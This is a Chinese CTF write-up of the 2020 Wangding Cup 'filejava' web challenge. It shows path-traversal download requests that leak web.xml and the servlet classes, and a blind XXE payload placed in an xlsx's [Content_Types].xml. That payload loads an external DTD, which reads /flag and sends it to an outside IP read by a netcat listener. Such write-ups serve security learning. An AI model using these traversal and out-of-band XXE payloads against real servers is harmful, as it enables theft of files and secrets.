[網鼎杯 2020 青龍組]filejava


知識點

  • web.xml文件泄露
  • blind xxe

 

隨便上傳一個文件,然后點擊下載,抓包

 

 

看到有filename,猜測可能存在目錄穿越以及任意文件下載

嘗試

filename=../

  

 

看到有一個路徑,里面有WEB-INF,題目提示與java有關,那應該是web.xml文件泄露,嘗試讀取

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

 

這里的讀取我是又抓了一次包,把上面repeater的報文復制到proxy,再Forward下載文件

其實不需要這么麻煩,上圖右半部分已經給出了三個class文件的地址,下下來就行了

repeater中

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

repeater重放就能發現有東西,重新點一次下載,將repeater的報文復制到proxy里,點擊Forward,就可以下載到DownloadServlet.class文件

按照這個方法,依次下載web.xml中出現的DownloadServlet.class,ListFileServlet.class,UploadServlet.class等三個class文件

對這些class文件進行反編譯,我用的jd-gui

代碼太多,只貼關鍵的,UploadServlet.class

 

 

這里是一個excel和xxe漏洞的結合,CVE-2014-3529

這里需要用到vps,因為是在buu上復現的,所以注冊一個小號,開一台靶機就行

新建一個excel-123456.xlsx文件,后綴名改成zip。注意,修改zip文件的時候,最好用WinRAR打開修改,完事直接保存,若是先解壓,修改完了再壓縮,有可能出問題。接下來就是在里面的[Content_Types].xml的第二行加入

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://靶機內網ip,不是ssh連接的那個/file.dtd">
%remote;%int;%send;
]>

 

然后在靶機的/var/www/html目錄下新建一個file.dtd文件,內容為

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://174.1.94.166:9999?p=%file;'>">

然后就是監聽

nc -lvvp 9999

緊接着上傳excel-123456.xlsx文件,在靶機處接收到flag

 

 

參考

https://www.gem-love.com/websecurity/2322.html

https://guokeya.github.io/post/nmxAW2K-f/

https://www.cnblogs.com/thespace/p/12400719.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM